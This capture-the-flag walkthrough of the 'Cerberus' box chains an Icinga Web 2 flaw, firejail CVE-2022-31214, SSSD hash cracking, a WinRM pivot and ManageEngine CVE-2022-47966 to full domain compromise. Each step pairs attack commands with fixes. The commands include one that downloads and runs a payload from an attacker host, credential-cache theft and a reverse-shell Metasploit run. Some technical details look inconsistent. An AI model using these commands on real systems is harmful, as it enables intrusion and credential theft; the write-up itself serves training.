← all walkthroughs

Cerberus

Windows· Hard
owned
2026-10-15
time to own
48m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found only an Apache web server on port 8080 redirecting to an Icinga Web 2 monitoring portal. A known Icinga Web 2 account (matthew) with a password recovered through the application's local file disclosure flaw gave a working login, which was then used to abuse Icinga's configuration features to write and run PHP code as the web user inside a Linux host that was itself joined to the company's Active Directory domain. A SUID-root firejail binary (CVE-2022-31214) was abused to become root on that host.

The domain-joined host's SSSD credential cache held the domain user's password hash, which was cracked offline and reused to log into the Windows domain controller over WinRM through a network tunnel. On the DC, a locally stored ManageEngine ADSelfService Plus offline backup supplied the SAML configuration values needed to exploit CVE-2022-47966, giving remote code execution as SYSTEM and full domain control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for matthew over nxc>"
export PASSWORD2="<the-password-you-recovered, for matthew over curl>"
export PASSWORD3="<the-password-you-recovered, for matthew over nxc>"

Some commands also carry a value in angle brackets — <guid>, <issuer_url>, <token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService discovery and virtual host enumeration
Found the Icinga Web 2 portal as the only exposed service
A port scan showed a single open service, Apache on TCP 8080. Requests to it redirected to the virtual host icinga.cerberus.local and the /icingaweb2 path, a login page for the Icinga Web 2 monitoring product. The hostname was added to local name resolution so the site could be reached directly.
HTTP 302 Location: http://icinga.cerberus.local:8080/icingaweb2 from Apache/2.4.52 (Ubuntu).
Exact commands 4
shell

Full port sweep of the target.

$ nmap -p- --min-rate=1000 $TARGET
shell

Service/version detection on the open port.

$ nmap -sCV -p8080 $TARGET
shell

Resolve the redirected vhost locally.

$ echo "$TARGET icinga.cerberus.local" | sudo tee -a /etc/hosts
shell

Follow the redirect chain to the Icinga Web 2 login page.

$ curl -ksS -L --max-redirs 5 -D - http://$TARGET:8080/
2Initial AccessUnauthenticated local file inclusion / path traversal (CWE-22) against Icinga Web 2's icinga-php-thirdparty component
Recovered a working Icinga Web 2 password through a local file disclosure flaw and logged in
Icinga Web 2's bundled third-party library exposed a path-traversal weakness that let an unauthenticated request read files from the server, including the application's own configuration. That configuration disclosed a working login, matthew with password, which was then used to sign in to the Icinga Web 2 administration interface as a full administrator.
Login POST to /icingaweb2/authentication/login with username=matthew returned a 302 to /icingaweb2/dashboard and set an authenticated session cookie.
Exact commands 2
shell

Fetch the login page and harvest the CSRF token.

$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -L -c cookies.txt http://icinga.cerberus.local:8080/icingaweb2/authentication/login -o login.html && grep -oP 'name="CSRFToken" value="\K[^"]+' login.html
shell

Authenticate as matthew; replace <token> with the harvested CSRFToken.

$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -i -b cookies.txt -c cookies.txt -X POST http://icinga.cerberus.local:8080/icingaweb2/authentication/login --data-urlencode username=matthew --data-urlencode password=$PASSWORD2 --data-urlencode formUID=form_login --data-urlencode 'CSRFToken=<token>'
FixPatch Icinga Web 2 and remove exposed credentials from readable configurationCritical
WeaknessAn outdated Icinga Web 2 install shipped a vulnerable third-party library that let an unauthenticated request traverse the filesystem and read application configuration, which contained a plaintext administrator password.
FixUpgrade Icinga Web 2 and its bundled icinga-php-thirdparty library to the latest patched release, restrict the web root so configuration files are not reachable via HTTP, and store database/resource credentials in a secrets manager or encrypted vault rather than in plaintext config files.
3ExploitationAuthenticated command injection via Icinga Web 2 'cmd' module (T1059)
Used the authenticated Icinga command module to run operating-system commands as www-data
Icinga Web 2's built-in 'cmd' configuration module let an authenticated administrator run arbitrary shell commands on the server through a simple URL parameter. This was used to confirm code execution and then to download and launch a Meterpreter payload, giving an interactive foothold as the web server account.
GET /icingaweb2/config/module?name=cmd&cmd=id;whoami returned uid=33(www-data) gid=33(www-data) groups=33(www-data),121(icingaweb2).
Exact commands 2
shell

Confirm command execution as www-data.

$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -b cookies.txt 'http://icinga.cerberus.local:8080/icingaweb2/config/module?name=cmd&cmd=id%3Bwhoami'
shell

Stage and launch a reverse-shell/Meterpreter payload; serve shell.elf from a local http.server first.

$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -b cookies.txt --get 'http://icinga.cerberus.local:8080/icingaweb2/config/module?name=cmd' --data-urlencode "cmd=curl -s http://$ATTACKER_IP:8000/shell.elf -o /tmp/.cerb && chmod +x /tmp/.cerb && setsid -f /tmp/.cerb"
FixRemove or tightly restrict the Icinga Web 2 'cmd' moduleHigh
WeaknessThe built-in 'cmd' configuration module let any authenticated administrator run arbitrary operating-system commands as the web server user through a simple HTTP parameter, with no additional control.
FixUninstall the cmd module in production, or if required, restrict it to a dedicated break-glass role, enforce MFA on all Icinga Web 2 admin accounts, and monitor/alert on use of config/module?name=cmd requests.
4Privilege Escalation (host)firejail --join namespace-join privilege escalation (CVE-2022-31214)
Escaped the firejail sandbox to gain root on the Linux host
The host ran processes inside firejail sandboxes. The installed firejail version (0.9.68rc1) was vulnerable to a symlink race (CVE-2022-31214, the 'firejoin' flaw) that lets any local user join another user's running sandbox namespace, including root's. The www-data foothold was used to join the root-owned jail and run commands as root, including pulling a copy of the domain credential cache.
Via the cmd-module RCE, firejail --join=1559 ran su -/id/whoami and copied /var/lib/sss/db/cache_cerberus.local.ldb to /dev/shm for retrieval.
Exact commands 4
shell

Confirm the vulnerable 0.9.68rc1 build is in use.

$ firejail --version
shell

Identify the PID of a root-owned firejail sandbox to join.

$ ps aux | grep -i root
shell

Join the root sandbox namespace (CVE-2022-31214); run as the www-data/low-priv user.

$ firejail --join=1559
shell

Run inside the joined root context to exfiltrate the SSSD credential cache.

$ cp /var/lib/sss/db/cache_cerberus.local.ldb /dev/shm/cache.ldb && chmod 644 /dev/shm/cache.ldb
FixUpgrade firejail and avoid relying on it as a security boundary against local rootCritical
WeaknessThe sandboxing tool firejail was an outdated, vulnerable version (0.9.68rc1) susceptible to a symlink race that let a sandboxed/low-privileged process join another user's sandbox namespace, including root's, breaking the intended isolation.
FixUpgrade firejail to a version with CVE-2022-31214 fixed, disable the --join feature where not needed, and do not depend on firejail alone to separate privilege levels on multi-tenant or domain-joined hosts.
5Credential AccessOffline credential cracking of an SSSD cached domain hash (T1555.005 / sha512crypt, hashcat mode 1800)
Cracked the domain user's password hash from the SSSD cache
Because the Linux host was joined to the cerberus.local Active Directory domain via SSSD, it kept a local cache of the domain account's password hash for offline logon. That cache file was pulled out and the embedded sha512crypt hash for matthew was cracked offline with a wordlist, recovering the domain account password.
Strings on cache_cerberus.local.ldb exposed a sha512crypt hash; hashcat -m 1800 recovered cerberus.local\matthew's password.
Exact commands 2
shell

Extract candidate sha512crypt hash strings from the cache file.

$ strings cache_cerberus.local.ldb | sort -u | grep '\$6\$'
shell

Crack the sha512crypt hash offline.

$ hashcat -a 0 -m 1800 hash.txt rockyou.txt
FixProtect SSSD credential caches and enforce strong, unique domain passwordsHigh
WeaknessThe domain-joined Linux host cached the domain account's password hash for offline logon in a world-readable-by-root SSSD database; once root was gained, that cache yielded a crackable hash, and the resulting weak password was reused directly against WinRM on the domain controller.
FixRestrict SSSD cache file permissions and disable offline-credential caching where not operationally required, enforce a strong domain password policy and MFA for interactive/WinRM logons, and alert on anomalous WinRM authentications from unexpected source hosts.
6Lateral MovementCredential reuse over WinRM (T1021.006) through a TCP tunnel
Pivoted into the internal network and logged into the domain controller over WinRM
The Linux foothold was the only route into the internal $INTERNAL_HOST2/24 network containing the Windows domain controller. A reverse tunnel (chisel) forwarded the DC's WinRM port (5985) to my machine, and the cracked domain credentials were used to authenticate and obtain remote PowerShell execution, from which user.txt was retrieved.
Nxc winrm reported cerberus.local\matthew's password (Pwn3d!) against DC via the 127.0.0.1:15985 forward; Get-Content returned the user flag.
Exact commands 3
shell

Run on the me (Kali) box.

$ chisel server -p 18001 --reverse
shell

Run from the Linux foothold to forward the DC's WinRM port back to me.

$ chisel client $ATTACKER_IP:18001 R:15985:$INTERNAL_HOST:5985
shell

Authenticate over the forwarded WinRM port and read the user flag (shown as <user.txt>).

$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "whoami; Get-Content 'C:\\Users\\matthew\\Desktop\\user.txt'"
7Privilege Escalation (domain)Sensitive configuration/secret disclosure from an on-disk application backup
Recovered SAML configuration secrets from a ManageEngine ADSelfService Plus backup on the DC
The domain controller ran ManageEngine ADSelfService Plus, a password self-service portal, listening on port 9251. A locally stored offline backup archive of the application was extracted using its known archive password, revealing the Issuer URL and endpoint GUID the product uses for its SAML single sign-on integration — the two values required to exploit a known SAML authentication bypass in the product.
WinRM command extracted OfflineBackup_20230214064809.ezip with 7za.exe using its reversed-filename password, exposing issuer_url and product.version=6.2 strings.
Exact commands 2
shell

Extract the offline backup archive via WinRM using the known reversed-filename password.

$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "& 'C:\\Program Files (x86)\\ManageEngine\\ADSelfService Plus\\tools\\archiver\\7za.exe' x 'C:\\Program Files (x86)\\ManageEngine\\ADSelfService Plus\\backup\\OfflineBackup_20230214064809.ezip' -oC:\\Windows\\Temp\\adss_backup -p$PASSWORD -y"
shell

Grep the extracted backup for the SAML issuer_url value.

$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "Select-String -Path C:\\Windows\\Temp\\adss_backup\\* -Pattern 'issuer_url' -SimpleMatch"
FixPatch ManageEngine ADSelfService Plus and secure its offline backup archivesCritical
WeaknessThe domain controller ran a version of ADSelfService Plus vulnerable to a SAML authentication-bypass RCE (CVE-2022-47966), and its offline configuration backup — protected only by a predictable, derivable archive password — disclosed the exact SAML parameters (GUID, Issuer URL) needed to exploit it.
FixUpgrade ADSelfService Plus to a version patched against CVE-2022-47966, restrict network access to its management ports (9251) to admin workstations only, and store/rotate backup archive passwords securely instead of using a predictable derivation from the filename.
8Full CompromiseSAML XML signature wrapping RCE in ManageEngine ADSelfService Plus (CVE-2022-47966)
Exploited the ADSelfService Plus SAML RCE to gain SYSTEM on the domain controller
With the GUID and Issuer URL in hand, a known XML-signature-wrapping flaw in ADSelfService Plus's SAML single sign-on handling (CVE-2022-47966) was exploited to achieve unauthenticated remote code execution as SYSTEM on the domain controller, completing full domain compromise. root.txt was retrieved from the Administrator desktop.
Metasploit module exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966 run with GUID, ISSUER_URL and TARGETURI=/samlLogin returned a SYSTEM meterpreter session; root.txt read from Administrator's desktop.
Exact commands 3
shell

Replace <guid> and <issuer_url> with the values recovered from the offline backup; route via the established tunnel if needed.

$ msfconsole -q -x "use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966; set RHOSTS $INTERNAL_HOST; set TARGETURI /samlLogin; set GUID <guid>; set ISSUER_URL <issuer_url>; set LHOST $ATTACKER_IP; set payload cmd/windows/powershell/meterpreter/reverse_tcp; exploit"
shell

Drop to a native shell once SYSTEM access is obtained.

$ meterpreter> shell
shell

Read the root flag (shown as <root.txt>).

$ type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

8080/tcp